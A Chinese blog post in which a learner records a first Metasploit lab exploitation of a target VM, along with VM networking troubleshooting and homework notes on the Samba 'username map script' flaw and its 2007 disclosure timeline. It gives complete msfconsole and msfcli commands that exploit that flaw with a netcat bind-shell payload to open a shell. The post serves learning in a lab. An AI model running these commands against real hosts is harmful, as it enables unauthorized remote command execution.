您的位置:首页 > 编程语言 > ASP

metasploit 初识|第一次模拟渗透成功之喜悦

2014-07-25 20:31 357 查看
我想这次成功是值得纪念的,虽然渗透的是靶机,依然高兴。

不知道是不是有仇怎么的,总是No DHCPOFFERS received. No working leases in persistent database - sleeping. 百度了好多有

这个问题没有解决,用的Vmware workstation10绿色精简版,所有能想到的方法,如dhclient,sudo vi /etc/network/interfaces,更改

网络适配器为桥接并多次重启,并重启家里两个路由,更换metasploit 版本,能想到的方法,查到的方法用尽了,结果换了一款

虚拟机virtualbox就解决这个问题了……

配置好环境后,android模拟kali用vnc连接虽然有UI显示但是操作很累,还是用SSH好,纯命令界面,用VX ConnectBot

这款SSH,可以实现ctrl c的中断,按一下ctrl,松开再按一下c就可以中断指令了。

· 用msfconsole进行attack

~$ msfconsole

>search samba

>use multi/samba/usermap_script

>show payloads

>set payload cmd/unix/bind_netcat

>show options

>set RHOST 192.168.2.53

>exploit

/*Then I got into shell, 虽然模仿书上的例子,但是vnc连接的时候两次没有

成功过,也不知道什么原因,SSH成功了就好了*/



· 用msfcli进行attack(效果同上)

~$ msfcli multi/samba/usermap_script PAYLOAD=cmd/unix/bind_netcat RHOST=192.168.2.53



作业:

1、①Samba:SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。

②Bug description:这个漏洞最初报告为针对匿名调用“username map scription” smb.conf选项集合里的SamrChangePassword()MS-RPC函数(默认情况下不启动)。之后由samba开发者们的进一步调查,认定它造成的问题非常之宽广并且影响到远程打印 和文件共享,根本原因是通过未过滤的用户名输入了由MS-RPC提供的在smb.conf中引用外部脚本时调用出shell。然而,不像"username map script"的弱点,远程文件和打印管理还是需要认证用户会话的。

(原文:This bug was originally reported against the anonymous calls to the SamrChangePassword() MS-RPC function in combination with the "username map script" smb.conf option (which is not

enabled by default). After further investigation by Samba developers, it was determined that the problem was much broader and impacts remote printer and file share management as well. The root cause is passing unfiltered user input provided via MS-RPC calls
to /bin/sh when invoking externals scripts defined in smb.conf. However, unlike the "username map script" vulnerability, the remote file and printer management scripts require an authenticated user session.)

③生命周期(无图…我也不晓得这是不是生命周期…)

* May 7, 2007: Initial defect disclosure to the security@samba.org email alias.

* May 7, 2007: Initial developer response by Samba

developer Gerald Carter.

* May 9, 2007: Patch released by Samba developer Jeremy

Allison to iDefense for testing.

* May 10, Announcement to vendor-sec mailing list

* May 14, 2007: Public announcement of the security issue.
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: